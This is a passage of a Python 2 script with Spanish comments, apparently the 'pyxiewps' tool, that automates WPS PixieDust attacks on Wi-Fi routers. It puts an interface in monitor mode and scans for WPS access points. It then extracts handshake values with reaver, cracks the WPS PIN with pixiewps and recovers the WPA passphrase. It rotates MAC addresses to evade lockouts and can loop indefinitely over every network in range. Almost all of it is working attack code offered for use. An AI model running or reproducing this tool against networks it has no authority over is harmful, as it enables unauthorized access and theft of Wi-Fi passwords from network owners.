	help()
    elif arg == '-c' or arg == '--canal':
      try:
	WASH_CHANNEL = int(argv[argv.index(arg)+1])
      except ValueError:
	help()
    elif arg == '-P' or arg == '--prompt':
      PROMPT_APS = True
    elif arg == '-o' or arg == '--output':
      OUTPUT = True
      OUTPUT_FILE = argv[argv.index(arg)+1]
    elif arg == '-f' or arg == '--pass':
      GET_PASSWORD = True
    elif arg == '-F' or arg == '--forever':
      FOREVER = True
    elif arg == '-O' or arg == '--override':
      OVERRIDE = True
    else:
      help()

def help():
  """
  Muestra la ayuda y sale
  """
  
  print
  print "script -r -p -w 15 -t 6 -c 7 -P -o file.txt -f"
  print "script --use-reaver --use-pixie --wash-time 15 --tiempo 6 --canal 7 --prompt --output file.txt -h"
  print
  print '\t-r --use-reaver          Captura la informacion del AP con Reaver.              [False]'
  print '\t-p --use-pixie           Una vez que captura la informacion con Reaver          [False]'
  print '\t                         intenta sacar el pin WPS del router.'
  print '\t-w --wash-time [tiempo]  Setea el tiempo que va a usar para enumerar los        [15]'
  print '\t                         ap con WPS.'
  print '\t-t --tiempo [tiempo]     Setea el tiempo que va a usar para recolectar la       [6]'
  print '\t                         informacion del AP.'
  print '\t-c --canal [canal]       Proporciona el canal en el que escucha para enumerar'
  print '\t                         los AP con WPS. Si no se usa, se escanean todos los canales.'
  print '\t-P --prompt              Si se encuentra mas de un AP con WPS, preguntar a cual [False]'
  print '\t                         se quiere atacar.'
  print '\t-o --output [archivo]    Graba los datos en un archivo de texto.'
  print '\t-f --pass                Si se tiene exito al averiguar el pin WPS, tambien'
  print '\t                         tratar de averiguar la clave WPA.'
  print '\t-q --quiet               No muestra la informacion recopilada.'
  print '\t-F --forever             Corre el programa indefinidamente hasta que se lo interrumpa'
  print '\t-O --override            Vuelve a atacar APs con pines que ya han sido conseguidos'
  print '\t                         sin preguntar.'
  print
  exit()
  
class Engine():
  """
  Aca se chequea todo, y se empieza el programa
  """

  def __init__(self):
    self.REAVER = True
    self.PIXIEWPS = True
    self.WASH = True
    self.AIRMON = True
    self.MACCHANGER = True
    self.GIT = True
  
  def start(self):
    """
    Crea el colchon para los programas necesarios
    """
    chdir('/root/')
    if not c.check_iface(): # check_iface devuelve True si hay alguna ifaz en mon previamente
      c.set_iface("UP")
    else:
      print INFO + "Se encontro una interfaz en modo monitor: %s" %c.IFACE_MON
      choice = raw_input("%sDesea usar esta interfaz? [S/n] " %INPUT)
      if choice in CHOICES_YES:
	pass
      elif choice in CHOICES_NOPE:
	c.set_iface("DOWN")
	c.set_iface("UP")
    if FOREVER:
      while True:
	attack = Attack()
	attack.get_wps_aps()
    else:
      attack = Attack()
      attack.get_wps_aps()
      engine.exit_limpio()
    
  def parse_wash(self, linea):
    """
    Analiza el output del wash
    linea viene sin el salto de linea, separando las cosas con "|"
    Devuelve bssid, canal, essid e instancia de Target
    """
    
    linea = linea.split('|')
    bssid = linea[0] # MAC
    canal = linea[1]
    essid = linea[-1]
    return [bssid, canal, essid]
    
  def parse_reaver(self, output, pin_encontrado = False):
    """
    Analiza el output del reaver
    Saca el pkr, pke, hash1 y 2, enonce, rnonce, authkey, fabricante y modelo
    y los devuelve
    """

    if pin_encontrado:
      password = ''
      for linea in output:
	if '[+] WPA PSK: ' in linea:
	  password = sub('\[\+\] WPA PSK: ','',linea)
	  return password
      if password == '':
	return 'no password'

    E_NONCE = ''
    R_NONCE = ''
    PKR = ''
    PKE = ''
    HASH1 = ''
    HASH2 = ''
    AUTHKEY = ''
    MANUFACTURER = ''
    MODEL = ''
    NUMBER = ''
    uberlista = []
    lista_final = []
    is_complete = False
    has_something = False
    
    if output == '':
      return 'cacota'
      
    for linea in output:
      if 'E-Nonce' in linea:
	has_something = True
      elif 'E-Hash2' in linea:
	lista_final = output[0:output.index(linea)+1] # Trunca el output hasta el hash2
	is_complete = True
	break
      elif 'Detected AP rate limiting' in linea:
	return 'ap rate limited'
    if has_something and not is_complete:
      return 'more time please'
    elif has_something == False:
      return 'noutput'
    for linea in lista_final:
      if 'E-Nonce' in linea:
	E_NONCE = sub('\[P\] E-Nonce: ','',linea)
      elif 'R-Nonce' in linea:
	R_NONCE = sub('\[P\] R-Nonce: ','',linea)
      elif 'PKR' in linea:
	PKR = sub('\[P\] PKR: ','',linea)
      elif 'PKE' in linea:
	PKE = sub('\[P\] PKE: ','',linea)
      elif 'E-Hash1' in linea:
	HASH1 = sub('\[P\] E-Hash1: ','',linea)
      elif 'E-Hash2' in linea:
	HASH2 = sub('\[P\] E-Hash2: ','',linea)
      elif 'AuthKey' in linea:
	AUTHKEY = sub('\[P\] AuthKey: ','',linea)
      elif 'Manufacturer' in linea:
	MANUFACTURER = sub('\[P\] WPS Manufacturer: ','',linea)
      elif 'Model Name' in linea:
	MODEL = sub('\[P\] WPS Model Name: ','',linea)
      elif 'Model Number' in linea:
	NUMBER = sub('\[P\] WPS Model Number: ','',linea)
      elif '[+] Associated with ' in linea:
	ESSID = sub('\(ESSID\: ','|',linea)
	ESSID = ESSID.split('|')[-1][:-2]
      elif '[+] Waiting for beacon from ' in linea:
	BSSID = sub('\[\+\] Waiting for beacon from ','',linea)
      else:
	pass
    uberlista = [PKE.strip(),PKR.strip(),HASH1.strip(),HASH2.strip(),AUTHKEY.strip(),
    MANUFACTURER.strip(),MODEL.strip(),NUMBER.strip(),E_NONCE.strip(),R_NONCE.strip(),
    ESSID.strip(),BSSID.strip()]
    return uberlista
  
  def check(self, check_again = False):
    """
    Chequea dependencias, el usuario que ejecuta el programa y otras weas
    """
    
    if c.get_uid() != '0':
      print ALERTA + 'Necesita ejecutar este programa como superusuario'
      exit()

    ### Programas
    if c.program_exists(MACCHANGER):
      self.MACCHANGER = True
    elif not check_again:
      print ALERTA + 'macchanger no esta instalado pero no es vital para el programa.'
      print '    Algunos APs bloquean la MAC del dispositivo con el que se ataca y'
      print '    cambiar la MAC es una buena solucion para desviar el problema.'
      print '    Si no se tiene macchanger el programa fallara en recolectar la informacion.'
      self.MACCHANGER = False
    if c.program_exists(REAVER):
      version = c.check_reaver_version()
      if version == '1.5.2':
	self.REAVER = True
      else:
	print ALERTA + "La version de reaver instalada no es la correcta"
	self.REAVER = False
    elif not check_again:
      print ALERTA + 'reaver no esta instalado'
      self.REAVER = False
    if c.program_exists(PIXIEWPS):
      self.PIXIEWPS = True
    elif not check_again:
      print ALERTA + 'pixiewps no esta instalado'
      self.PIXIEWPS = False
    if c.program_exists(WASH):
      self.WASH = True
    elif not check_again:
      print ALERTA + 'wash no esta instalado'
      self.WASH = False
    if c.program_exists(AIRMON):
      self.AIRMON = True
    elif not check_again:
      print ALERTA + 'airmon-ng no esta instalado'
      self.AIRMON = False
    if c.program_exists(GIT):
      self.GIT = True
    elif not check_again:
      self.GIT = False
    if self.REAVER and self.AIRMON and self.WASH and self.PIXIEWPS and check_again:
      print INFO + "Todos los programas se instalaron correctamente."
      raw_input("%sPresione enter para continuar" %INPUT)
      print INFO + "Empezando el ataque..."
    elif check_again:
      print
      print ALERTA + "No se pudieron instalar algunos prorgamas."
      print "    Revise manualmente las dependecias necesitadas"
      print "    y luego de instalarlas, ejecute otra vez el programa."
      print
      exit()
    if self.REAVER and self.AIRMON and self.WASH and self.PIXIEWPS:
      pass
    else:
      print ALERTA + "Necesita tener todos los programas necesarios."
      print INPUT + "Las dependencias son:"
      print "\tbuild-essential"
      print "\tlibpcap-dev"
      print "\tsqlite3"
      print "\tlibsqlite3-dev"
      print "\taircrack-ng"
      print "\tlibssl-dev"
      choice = raw_input("%sDesea que instalarlas ahora [S/n]?" %INPUT)
      if choice in CHOICES_YES:
	c.get_binarios()
      else:
	exit()
    
    ###Todo en orden...
    engine.start()

  def run(self, cmd, shell = False, kill_tree = True, timeout = -1):
    """
    Ejecuta un comando durante un tiempo determinado que,
    transcurrido, es terminado. Devuelve el stdout del proc.
    output es una lista con las lineas sin strip().
    """

    class Alarm(Exception):
      pass
    def alarm_handler(signum, frame):
      raise Alarm
    if timeout != -1:
      signal(SIGALRM, alarm_handler) # Empieza a correr el tiempo
      alarm(timeout)                 # Si se acaba levanta una alarma

    proc = subprocess.Popen(cmd, shell = shell, stdout = subprocess.PIPE)
    output = []
    try:
      for line in iter(proc.stdout.readline, ''):
	output.append(line)
      if timeout != -1:
	alarm(0)
    except Alarm:         # El tiempo acaba y se produce una alarma
      pids = [proc.pid]   # Se matan los procesos relacionados con proc.
      if kill_tree:
	pids.extend(self.get_process_children(proc.pid))
      for pid in pids:   # Es posible que el proceso haya muerto antes de esto
	try:             # por eso se maneja el error con el except OSError
	  kill(pid, SIGKILL)
	except OSError:
	  pass
      return output
    return output

  def get_process_children(self, pid):
    """
    Devuelve los pids del programa que se haya abierto para
    matar todo el arbol de procesos child
    """
    
    proc = subprocess.Popen('ps --no-headers -o pid --ppid %d' % pid, shell = True, stdout = subprocess.PIPE)
    stdout = proc.communicate()[0]
    return [int(p) for p in stdout.split()]

  def mac_changer(self):
    """
    Cambia la MAC del dispositivo ante un bloqueo del AP
    """
    
    print INFO + "Cambiando direccion MAC del dispositivo..."
    system('ifconfig %s down' %c.IFACE_MON)
    mac = subprocess.check_output(['macchanger','-r',c.IFACE_MON])
    mac = mac.split('\n')[2]
    mac = sub('New       MAC\: ','',mac.strip())
    mac = sub(' \(unknown\)','',mac)
    system('ifconfig %s up' %c.IFACE_MON)
    print INFO + "Se cambio la MAC a una nueva: %s%s" %(INPUT,mac.upper())
    
  def exit_limpio(self):
    """
    limpia las cosas antes de terminar el programa
    """
    if path.isfile('/root/pixiewps/Makefile') or path.isfile('/root/reaver-wps-fork-t6x/src/Makefile'):
      print OPCION + "Los archivos para instalar pixiewps y reaver ya no son necesarios"
      print "      y se encuentran en la carpeta home del usuario root"
      choice = raw_input("%sDesea borrarlos? [S/n]" %INPUT)
      if choice in CHOICES_YES:
	system('cd /root && rm -r pixiewps/ && rm -r reaver-wps-fork-t6x/')
    if c.IS_MON:
      c.set_iface("DOWN")
    if USE_REAVER:
      system('rm -f /usr/local/etc/reaver/*.wpc')
    exit()

class Config():
  """
  Funciones de configuracion de interfaces.
  """
  
  IFACE_MON = 'caca'
  IFACE = 'caca'
  IS_MON = False
  
  def program_exists(self, programa):
    """
    Chequea si existe el programa que se le
    pasa en el argumento
    """

    cmd = "which " + programa
    output = subprocess.Popen(cmd, shell=True, stdout = subprocess.PIPE)
    output = output.communicate()[0]

    if output != "":
      return True    # Existe
    else:
      return False   # No existe

  def get_uid(self):
    """
    Devuelve el usuario que ejecuta el script
    """
    
    uid = subprocess.check_output(['id','-u']).strip()
    return uid
  
  def check_iface(self):
    """
    Se fija si hay alguna interfaz en modo monitor
    para no crear otra interfaz al pedo
    """
    
    cmd = "ifconfig | grep mon | cut -d \' \' -f1" # iwconfig no es grepable
    mon = subprocess.check_output(cmd, shell = True).strip()
    if mon != '':
      self.IFACE_MON = mon
      self.IS_MON = True
      return True
    else:
      return False
  
  def get_iface(self):
    """
    Si no hay interfaces en modo monitor, devuelve las wlans.
    Si hay mas de una, pregunta cual se quiere usar.
    Si la interfaz ya esta en modo monitor, devuelve el nombre.
    """

    if self.IS_MON: # Si la interfaz esta en modo monitor devuelve el nombre 'mon'
      cmd = "ifconfig | grep mon | cut -d \' \' -f1"
      mon = subprocess.check_output(cmd, shell = True).strip()
      self.IFACE_MON = mon
      return mon
    else:
      cmd = "ifconfig | grep wlan | cut -d \' \' -f1"
      proc = subprocess.check_output(cmd, shell = True)
      ifaces = proc.strip().split('\n')

      if len(ifaces) == 1 and ifaces[0] == '':
	print ALERTA + "No hay interfaces wireless!"
	print "    Asegurese de que posee un dispositivo wireless."
	print "    Si esta corriendo en una maquina virtual debe"
	print "    adquirir un modulo WiFi USB."
	exit()
      elif len(ifaces) > 1:
	print INPUT + "Seleccione interfaz: "
	for i in ifaces:
	  print str(ifaces.index(i)) + " >> " + i
	while True:    #Evita que le mandes fruta
	  try:
	    choice = int(raw_input(INPUT))
	    if choice <= len(ifaces) and choice >= 0:
	      self.IFACE = ifaces[choice]
	      return ifaces[choice]
	      break
	    else:
	      print INPUT + "Inserte un numero entre 0 y %s" %(len(ifaces)-1) #Maneja el error de indice
	  except ValueError:
	    print ALERTA + "Inserte un numero entre 0 y %s" %(len(ifaces)-1) #Por si le mandas letras y no #s
	  except KeyboardInterrupt:
	    print 
	    print ALERTA + "Programa interrumpido"
	    print 
	    engine.exit_limpio()
      else:
	self.IFACE = ifaces[0]
	return ifaces[0]
  
  def set_iface(self, status):
    """
    Maneja la interfaz inalambrica. La pone en modo monitor
    y la repone al modo normal.
    La variable "status" esta solo para mejorar la lectura
    Se basa en el booleano "self.IS_MON"
    """   
    
    if self.IS_MON:
      cmd = 'airmon-ng stop ' + self.get_iface()
      print INFO + 'Terminando el modo monitor en la interfaz %s...' %self.IFACE_MON
      proc = subprocess.call(cmd, shell = True, stdout = subprocess.PIPE)
      self.IS_MON = False
      print INFO + 'Listo'
    else:
      cmd = 'airmon-ng start ' + self.get_iface()
      print INFO + 'Configurando la interfaz en modo monitor...'
      proc = subprocess.call(cmd, shell = True, stdout = subprocess.PIPE)
      self.check_iface()
      print INFO + "%s corriendo en modo monitor" %self.IFACE
      
  def data_file(self, data):
    """
    Guarda la informacion en un archivo
    """
    system('echo INFORMACION >> %s' %OUTPUT_FILE)
    with open(OUTPUT_FILE, 'a+') as f:
      fecha = str(time.gmtime()[1])+'-'+str(time.gmtime()[2])+'-'+str(time.gmtime()[0])
      hora = str((time.gmtime()[3])-3).zfill(2)+':'+str(time.gmtime()[4]).zfill(2)
      f.write(fecha+' | '+hora+'\n')
      f.writelines(data)
    print INFO + "Se guardo la informacion en el archivo %s" %OUTPUT_FILE
    
  def get_binarios(self):
    """
    Instala reaver, pixiewps y otras dependencias
    """
    
    git = 'apt-get -y install git'
    reaver_dep = 'apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng'
    pixie_dep = 'sudo apt-get -y install libssl-dev'
    reaver = 'git clone https://github.com/t6x/reaver-wps-fork-t6x.git'
    pixiewps = 'git clone https://github.com/wiire/pixiewps.git'
    aircrack = 'apt-get -y install aircrack-ng'
    if not engine.GIT:
      print INFO + "Instalando git"
      proc4 = system(git)
    if not engine.AIRMON:
      print INFO + "Instalando aircrack..."
      proc5 = system(aircrack)
    if not engine.PIXIEWPS:
      print INFO + "Instalando dependencias de pixiewps..."
      proc2 = system(pixie_dep)
      print INFO + "Descargando pixiewps..."
      proc3 = system(pixiewps)    
    if not engine.REAVER:
      print INFO + "Instalando las dependencias de reaver..."
      proc = system(reaver_dep)
      print INFO + "Descargando reaver..."
      proc1 = system(reaver)
    if path.isdir('pixiewps') and not engine.PIXIEWPS:
      print INFO + "Instalando pixiewps..."
      system('cd pixiewps/src && make && make install')
      print INFO + "Listo"
    if path.isdir('reaver-wps-fork-t6x') and not engine.REAVER:
      print INFO + "Instalando reaver..."
      system('cd reaver-wps-fork-t6x* && cd src && ./configure && make && make install')
      print INFO + "Listo"
    engine.check(check_again = True)

  def check_reaver_version(self):
    """
    Devuelve la version de reaver que se tiene instalada
    """
    
    output = subprocess.Popen('reaver -h', shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
    output = output.communicate()
    if 'Reaver v1.5.2 WiFi Protected Setup Attack Tool' in output[0] and 'mod by t6_x' in output[0]:
      return '1.5.2'
    elif output[0] != '':
      return output[0][9:12]
    elif 'Reaver v1.5.2 WiFi Protected Setup Attack Tool' in output[1] and 'mod by t6_x' in output[1]:
      return '1.5.2'
    elif output[1] != '':
      return output[1][9:12]

class Attack():
  """
  Funciones de ataque y recopilacion de informacion del AP
  """
  
  def get_wps_aps(self):
    """
    Enumera los APs con WPS
    Crea las instancias de Target.
    Pasa a get_reaver_info
    """

    print INFO + "Enumerando APs con WPS activado..."
    cmd = 'wash -i %s -P' %(c.IFACE_MON)
    if WASH_CHANNEL != '':
      cmd = cmd + ' -c %d' %WASH_CHANNEL
    lista_aps = engine.run(cmd, shell = True, timeout = WASH_TIME)
    lista_provisoria = []
    ultimo = len(lista_aps)-1
    for linea in lista_aps:             # Esto se tiene que hacer por irregularidades ocasionales
      if '|' in linea:                  # en el output del wash.
	lista_provisoria.append(linea)  #
    lista_aps = lista_provisoria        #
    if lista_aps == []:
      print
      print ALERTA + "No se encontraron APs con WPS activado."
      print
      if not FOREVER:
	engine.exit_limpio()
    else:
      for_fill = lista_aps                                              #\
      essids = []                                                       #|
      for line in for_fill:                                             #|- Para que quede mas linda la lista
	line = line.split('|')                                          #|- de los APs.
	essids.append(line[5].strip())                                  #|
      fill = len(max(essids))                                           #/
      print INFO + "Se encontraron los siguientes APs con WPS activado:"
      for linea in lista_aps:
	linea = linea.split('|')
	fill_line = fill - len(linea[5].strip())
	print '\t' + INPUT + str(linea[5].strip()) + ' '*fill_line + ' || ' + linea[0] + ' || Canal: ' + linea[1] + ' || WPS locked?: ' + linea[4]
      if USE_REAVER:
	while True:
	  try:
	    if len(lista_aps) != 1 and PROMPT_APS: 
	      choice = int(raw_input("%sProporcione el inice del AP: " %INPUT))
	      provisoria = []
	      provisoria.append(lista_aps[choice])
	      lista_aps = provisoria
	      break
	    else:
	      break
	  except KeyboardInterrupt:
	    print
	    engine.exit_limpio()
	    break
	  except ValueError:
	    print ALERTA + "Proporcione un numero entre 0 y %d" %ultimo
	if not OVERRIDE and path.isfile('pyxiewpsdata.txt'):
	  coincidencias = []
	  pin_correspondiente = []
	  with open('pyxiewpsdata.txt') as f:
	    ya_sacados = f.readlines()
	  if len(ya_sacados) > 1:
	    ya_sacados.reverse() # Se revierte para tomar el pin mas actualizado ante un posible
	    for target in lista_aps: # cambio del pin WPS.
	      for line in ya_sacados[1:]:
		if target.split('|')[5].strip() == line.strip():
		  coincidencias.append(target)
		  pin_correspondiente.append(ya_sacados[ya_sacados.index(line)-1].strip())
	    for i in set(coincidencias):
	      print OPCION + "El pin de %s ya ha sido averiguado: " %i.split('|')[5].strip()
	      print '\t'+ INPUT + pin_correspondiente[coincidencias.index(i)]
	      print OPCION + "Desea saltearlo? [S/n]: "
	      try:
		choice = raw_input("%s Enter para saltear: " %INPUT)
	      except KeyboardInterrupt:
		print
		engine.exit_limpio()
	      if choice in CHOICES_YES:
		lista_aps.remove(i)
	for linea in lista_aps:
	  args = engine.parse_wash(linea.strip())
	  self.get_reaver_info(args[0],args[1],args[2])
	if not FOREVER:
	  engine.exit_limpio()
	else:
	  pass
  
  def get_reaver_info(self, bssid, canal, essid):
    """
    Recopila la informacion vital para
    el ataque PixieDust. PKR, PKE, HASH1, HASH2, AUTHKEY
    Actua dentro del for-loop de get_wps_aps
    """

    print INFO + "Recopilando informacion de %s con reaver..." %essid
    output = engine.run(cmd=['reaver','-i',c.IFACE_MON,'-b',bssid,'-vv','-L','-c',canal], timeout = REAVER_TIME)
    data = engine.parse_reaver(output)
    if data == 'noutput':
      print
      print ALERTA + "No se pudo obtener la informacion necesaria del AP"
      print ALERTA + "Pruebe con un tiempo mas alto como argumento -t"
      print "    y si aun no se puede obtener la informacion"
      print "    mejore la recepcion de su interfaz"
      print
      if MACCHANGER and FOREVER:
	engine.mac_changer()
      elif MACCHANGER and not FOREVER:
	print ALERTA + "No se cambia la MAC porque se ejecuto una sola vez"
	print "    Corra el programa con el argumento -F para correr indefinidamente"
	print
      elif not MACCHANGER:
	print ALERTA + "No se puede cambiar la MAC del dispositivo"
	print "    porque no se tiene macchanger instalado."
	print
    elif data == 'more time please':
      print
      print ALERTA + "El programa obtuvo alguna informacion pero no alcanzo"
      print "    a recuperar todo lo necesario. Aumente el tiempo para buscar"
      print "    la informacion del AP con el argumento -t. Por default -t es 6 segundos"
      print
    elif data == 'ap rate limited':
      print
      print ALERTA + "Al AP no le gustan los ataques de WPS"
      print "    por lo tanto no se pudo recopilar la informacion"
      print
      if MACCHANGER and FOREVER:
	engine.mac_changer()
      elif MACCHANGER and not FOREVER:
	print ALERTA + "No se cambia la MAC porque se ejecuto una sola vez"
	print "    Corra el programa con el argumento -F para atacar indefinidamente"
	print
      elif not MACCHANGER:
	print ALERTA + "No se puede cambiar la MAC del dispositivo"
	print "    porque no se tiene macchanger instalado."
	print
    elif data == 'cacota':
      print
      print "Seleccione una opcion de sesion para reaver"
      if not FOREVER:
	engine.exit_limpio()
    else:
      print INFO + "Exito. Se encontro la informacion necesaria."
      for_file = ['ESSID: ' + data[10] + '\n','MAC: ' + data[11] + '\n','PKE: ' + data[0] + '\n',
      'PKR: ' + data[1] + '\n','HASH1: ' + data[2] + '\n','HASH2: ' + data[3] + '\n',
      'E-NONCE: ' + data[8] + '\n','R-NONCE: ' + data[9] + '\n','AUTHKEY: ' + data[4] + '\n',
      'FABRICANTE: ' + data[5] + '\n','MODELO: ' + data[6] + '\n','NUMERO DE MODELO: ' + data[7] + '\n']
      if PRINT_REAVER:
	print
	for linea in for_file:
	  print DATA + linea.strip()
	print
      if OUTPUT and not USE_PIXIEWPS:
	for_file.append('-'*40+'\n')
	c.data_file(for_file)
      if USE_PIXIEWPS:
	self.pixie_attack(data,for_file,canal)

  def pixie_attack(self,data,for_file,canal):
    """
    intenta recuperar el pin WPS usando el ataque PixieDust
    """
    
    ESSID = data[10]
    BSSID = data[11]
    PKE = data[0]
    PKR = data[1]
    HASH1 = data[2]
    HASH2 = data[3]
    AUTHKEY = data[4]
    E_NONCE = data[8]
    R_NONCE = data[9]
    
    cmd = ['pixiewps','-e',PKE,'-r',PKR,'-s',HASH1,'-z',HASH2,'-a',AUTHKEY,'-n',E_NONCE]
    cmd1 = ['pixiewps','-e',PKE,'-s',HASH1,'-z',HASH2,'-a',AUTHKEY,'-n',E_NONCE,'-S']
    cmd2 = ['pixiewps','-e',PKE,'-s',HASH1,'-z',HASH2,'-n',E_NONCE,'-m',R_NONCE,'-b',BSSID,'-S']
    pin = ''
    cmd_list = [cmd, cmd1, cmd2]
    output = []
    for command in cmd_list:
      try:
	output = subprocess.check_output(command)
	output = output.strip().split('\n')
	for linea in output:
	  if '[+] WPS pin:' in linea:
	    result = compile('\d+')
	    pin = result.search(linea).group(0)
	    break
	  else:
	    pass
      except:             #Tengo que manejar un posible error del Pixie
	pass
      if pin != '': break
    if pin != '' and len(pin) == 8:
      print INFO + "Pin WPS encontrado!"
      print "\t" + INPUT + pin
      for_file.append('Pin WPS: '+pin+'\n')
      system('echo >> pyxiewpsdata.txt')
      with open('pyxiewpsdata.txt','a+') as f:
	f.write(ESSID+'\n')
	f.write(pin)
    elif pin == '':
      print
      print ALERTA + "No se encontro el pin WPS."
      print "    Es posible que el AP no sea vulnerable al"
      print "    ataque PixieDust y nunca lo sea"
      print
      
    if GET_PASSWORD and pin != '':
      self.get_password(for_file, BSSID, pin, canal)
    elif OUTPUT:
      for_file.append('-'*40+'\n')
      c.data_file(for_file)
  
  def get_password(self, for_file, BSSID, pin, canal):
    """
    Intenta averiguar la contrasenia, una vez que se consiguio el pin WPS
    """
    
    output = engine.run(cmd=['reaver','-i',c.IFACE_MON,'-b',BSSID,'-vv','-c',canal,'-p',pin,'-L'], timeout = (REAVER_TIME+4))
    password = engine.parse_reaver(output, pin_encontrado = True)
    if password == 'no password':
      print
      print ALERTA + "No se pudo recuperar la contrasenia en este momento"
      print "    pero puede acceder a la red WiFi a traves del pin WPS"
      print
    else:
      print INFO + "Clave encontrada!"
      print '\t' + INPUT + password.strip()
    if OUTPUT:
      for_file.append('Password: ' + password + '\n'+'-'*40+'\n')
      c.data_file(for_file)

if __name__ == '__main__':
  arg_parser()
  banner()
  try:
    c = Config()
    engine = Engine()
    engine.check()
  except KeyboardInterrupt, EOFError:
    print
    print ALERTA + "Programa interrumpido!"
    print    
    engine.exit_limpio()

Source : https://github.com/jgilhutton


Viewing all articles
Browse latest Browse all 1152

Trending Articles